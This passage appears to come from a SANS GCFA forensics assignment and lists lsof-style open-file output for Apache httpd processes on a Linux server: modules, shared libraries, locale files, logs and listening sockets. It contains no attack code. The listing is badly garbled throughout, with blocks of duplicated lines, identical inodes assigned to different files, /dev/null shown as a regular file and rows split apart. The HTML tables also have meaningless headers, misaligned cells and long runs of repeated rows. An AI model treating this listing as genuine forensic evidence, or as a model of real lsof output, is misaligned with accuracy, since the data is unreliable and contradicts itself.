httpd 19365 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19365 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19365 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19365 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19365 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19365 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 19365 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19365 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19365 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 19365 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19365 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 19365 root mem REG 3,2 11174 63541 /lib/libutil-2.2.5.so
httpd 19365 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 19365 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19365 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libcom_err.so.3.0
httpd 19365 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 19365 root mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 19365 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 19365 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 19365 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 19365 root mem REG 3,2 50 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 19365 root mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19365 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19365 root mem REG 3,2 89424 63507 /lib/libnsl-2.2.5.so
httpd 19365 root mem REG 3,2 1561021 229551 /usr/lib/apache/libperl.so
httpd 19365 root mem REG 3,2 153026 66042 /usr/lib/libpspell-modules.so.1.0.1
httpd 19365 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3.2.10.0.so
httpd 19365 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19365 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.2.2.5.so
httpd 19365 root mem REG 3,2 924879 65635 /usr/lib/libcrypto.so.0.9.6b
httpd 19365 root mem REG 3,2 207008 65635 /usr/lib/libssl.so.0.9.6b
httpd 19365 root mem REG 3,2 68925 66042 /usr/lib/libgpspell.so.4.0.3
httpd 19365 root mem REG 3,2 153026 66042 /usr/lib/libgpspell.so.4.0.3
httpd 19365 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19365 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 19365 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19365 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 19365 root mem REG 3,2 66646 65263 /usr/lib/libcurl.so.2.2.5.so
httpd 19365 root mem REG 3,2 189626 65384 /usr/lib/libjpeg.so.62.0.0
httpd 19365 root mem REG 3,2 140418 65389 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 79778 65358 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.2.2.5.so
httpd 19365 root mem REG 3,2 924879 65635 /usr/lib/libcrypto.so.0.9.6b
httpd 19365 root mem REG 3,2 153026 66042 /usr/lib/libgpspell.so.4.0.3
httpd 19365 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19365 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 19365 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19365 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 19365 root mem REG 3,2 66646 65263 /usr/lib/libcurl.so.2.2.5.so
httpd 19365 root mem REG 3,2 189626 65384 /usr/lib/libjpeg.so.62.0.0
httpd 19365 root mem REG 3,2 140418 65389 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 79778 65358 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 19365 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19365 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 19365 root mem REG 3,2 66646 65263 /usr/lib/libcurl.so.2.2.5.so
httpd 19365 root mem REG 3,2 189626 65384 /usr/lib/libjpeg.so.62.0.0
httpd 19365 root mem REG 3,2 140418 65389 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 79778 65358 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 42609 425002 /usr/lib/php/ldap.so
httpd 19365 root mem REG 3,2 44992 65349 /usr/lib/libber.so.2.0.15
httpd 19365 root mem REG 3,2 45415 65323 /lib/libnss_files-2.2.5.so
httpd 19365 root mem REG 3,2 2457 130317 /dev/null
httpd 19365 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 19365 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
Kevin Miller - Sans GCFA Assignment - v1.4
Page 152

httpd 19365 root 1w CHR 1,3 9637 /dev/null
httpd 19365 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19365 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
(httpd deleted)
httpd 19365 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 19365 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19365 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 19365 root 17u IPv4 361624 TCP *:http (LISTEN)
httpd 19365 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19365 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
httpd 19366 root cwd DIR 3,5 1024 2 /
httpd 19366 root rdt DIR 3,5 1024 2 /
httpd 19366 root txt REG 3,2 290169 131802 /usr/sbin/httpd
httpd 19366 root mem REG 3,5 89547 63490 /lib/libutil
httpd 19366 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19366 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 19366 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 19366 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 19366 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19366 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19366 root mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 19366 root mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
httpd 19366 root mem REG 3,5 173359 73732 /lib/i686/libxml2-2.2.5.so
httpd 19366 root mem REG 3,2 23575 63501 /lib/libcrypto-2.2.5.so
httpd 19366 root mem REG 3,2 30282 65273 /lib/libexpat.so.0.2.0
httpd 19366 root mem REG 3,2 655224 65343 /lib/libidb-3.3.so
httpd 19366 root mem REG 3,2 19662 66292 /usr/lib/libmm.so.11.0.23
httpd 19366 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 19366 root mem REG 3,2 12102 65303 /lib/libxml2-2.2.5.so
httpd 19366 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19366 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19366 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19366 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19366 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19366 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19366 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19366 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19366 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 19366 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19366 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19366 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 19366 root mem REG 3,2 51389 229520 /usr/lib/apache/mod_rewrite.so
httpd 19366 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19366 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19366 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19366 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 19366 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19366 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19366 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19366 root mem REG 3,2 92407 440046 /usr/lib/kerberos/lib/krb5.so.2.2
httpd 19366 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19366 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 19366 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19366 root mem REG 3,2 1453198 425001 /usr/lib/php/imap.so
httpd 19366 root mem REG 3,2 8621 440043 /usr/kerberos/lib/gconv_err.so.3.0
httpd 19366 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 19366 root mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 19366 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 19366 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 19366 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 19366 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 19366 root mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19366 root mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19366 root mem REG 3,2 22952 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19366 root mem REG 3,2 89424 130319
/lib/libssl-2.2.5.so
httpd 19366 root mem REG 3,2 156102 129551
/lib/libc6.2-2.2.5.so
httpd 19366 root mem REG 3,2 38183 130317
/lib/locale/en_US.iso885915/LC_CTYPE
httpd 19366 root mem REG 3,2 48583 130322
/lib/libsasl.so.7.1.8
httpd 19366 root mem REG 3,2 191615 130315
/lib/libldap.so.2.0.15
httpd 19366 root mem REG 3,2 79725 130327
/lib/libjpeg.so.62.0.0
httpd 19366 root mem REG 3,2 140418 130309
/lib/libncurses.so.5.2
httpd 19366 root mem REG 3,2 9883 130326
/lib/apache/libperl.so
httpd 19366 root mem REG 3,5 89547 130307
/lib/ld.so.1
httpd 19366 root rtd DIR 3,5 1024 130304
/var/run
httpd 19366 root cwd DIR 3,5 1024 130303
/var
httpd 19366 root mem REG 3,2 48583 130322
/lib/libsasl.so.7.1.8
httpd 19366 root mem REG 3,2 191615 130315
/lib/libldap.so.2.0.15
httpd 19366 root mem REG 3,5 45415 130317
/lib/locale/en_US.iso885915/LC_CTYPE
httpd 19366 root mem REG 3,2 2457 130317
/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19366 root mem REG 3,2 292 130313
/tmp/session_mm_apache0.sem
httpd 19366 root 5u REG 3,5 8192 26693
/var/log/httpd/error_log
httpd 19366 root 4u REG 3,5 0 26691
/var/run/httpd.mm.8124.sem

(deleted)

httpd 19366 root 5u REG 3,5 8192 26693
/tmp/session_mm_apache0.sem
httpd 19366 root 15w REG 3,2 1729 44202
/var/log/httpd/error_log
httpd 19366 root 16u IPv4 361623
tcp://https (LISTEN)
httpd 19366 root 17u IPv4 361624
tcp://http (LISTEN)
httpd 19366 root 10w REG 3,6 265 44201
/var/log/httpd/access_log
httpd 19366 root 19w REG 3,6 1729 44198
/var/log/httpd/error_log
httpd 19366 root 3u REG 3,6 0 38183
/var/run/httpd.mm.8124.sem
httpd 19366 root 4u REG 3,5 0 26691
/tmp/session_mm_apache0.sem
httpd 19366 root 15w REG 3,2 1729 44202
/var/log/httpd/error_log
httpd 19366 root 16u IPv4 361623
TCP:*://https (LISTEN)
httpd 19366 root 17u IPv4 361624
TCP:*://http (LISTEN)
httpd 19366 root 10w REG 3,6 265 44201
/var/log/httpd/access_log
httpd 19366 root 19w REG 3,6 1729 44198
/var/log/httpd/error_log
httpd 19366 root cwd DIR 3,5 1024 2
httpd 19366 root rtd DIR 3,5 1024 2
httpd 19367 root ttd DIR 3,5 290169
httpd 19367 root mem REG 3,5 89547 63490
/lib/id-2.2.5.so
httpd 19367 root mem REG 3,2 9883 229527
/usr/lib/apache/mod_vhost_alias.so
httpd 19367 root mem REG 3,2 8301 229506
/usr/lib/apache/mod_env.so
httpd 19367 root mem REG 3,2 17638 229514
/usr/lib/apache/mod_log_config.so
httpd 19367 root mem REG 3,2 7438 229513
/usr/lib/apache/mod_log_referer.so
httpd 19367 root mem REG 3,2 8530 229515
/usr/lib/apache/mod_xsendfile.so
httpd 19367 root mem REG 3,2 71774 229512
/usr/lib/apache/mod_uniqueip.so
httpd 19367 root mem REG 3,2 5000 229511
/usr/lib/apache/mod_dir.so
httpd 19367 root mem REG 3,2 371 229510
/usr/lib/apache/mod_log_agent.so
httpd 19367 root mem REG 3,2 8274 229505
/usr/lib/apache/mod_dir.so
httpd 19367 root mem REG 3,2 371 229509
/usr/lib/apache/mod_log_agent.so
httpd 19367 root mem REG 3,2 101902 73734
/lib/id-2.2.5.so
httpd 19367 root mem REG 3,2 173359 73732
/lib/id-2.2.5.so
httpd 19367 root mem REG 3,2 23575 63501
/lib/libcrypto.so.1.0.1
httpd 19367 root mem REG 3,2 30282 65273
/usr/lib/libgdbm.so.2.0.0
<table>
<thead>
<tr>
<th>Process</th>
<th>Status</th>
<th>idine</th>
<th>Offset</th>
<th>Inode</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libk5crypto.so.3.0</td>
<td></td>
<td></td>
<td>229530</td>
<td>/usr/lib/apache/libperl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libkrb5.so.3.1</td>
<td></td>
<td></td>
<td>229530</td>
<td>/usr/lib/apache/libperl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/libldap.so.2.0.15</td>
<td></td>
<td></td>
<td>65351</td>
<td>/usr/lib/libnss_nisplus.so.2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_imap.so</td>
<td></td>
<td></td>
<td>42069</td>
<td>/usr/lib/php4/ldap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_mime.so</td>
<td></td>
<td></td>
<td>440048</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libkrb5.so.3.1</td>
<td></td>
<td></td>
<td>229530</td>
<td>/usr/lib/apache/libperl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_imap.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_mime.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/libnss_nisplus.so.2.2.5.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txd</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_ssl_client.so</td>
<td></td>
<td></td>
<td>83813</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Type</th>
<th>Mode</th>
<th>Size</th>
<th>Offset</th>
</tr>
</thead>
<tbody>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453190</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15161021</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426642</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>84924</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
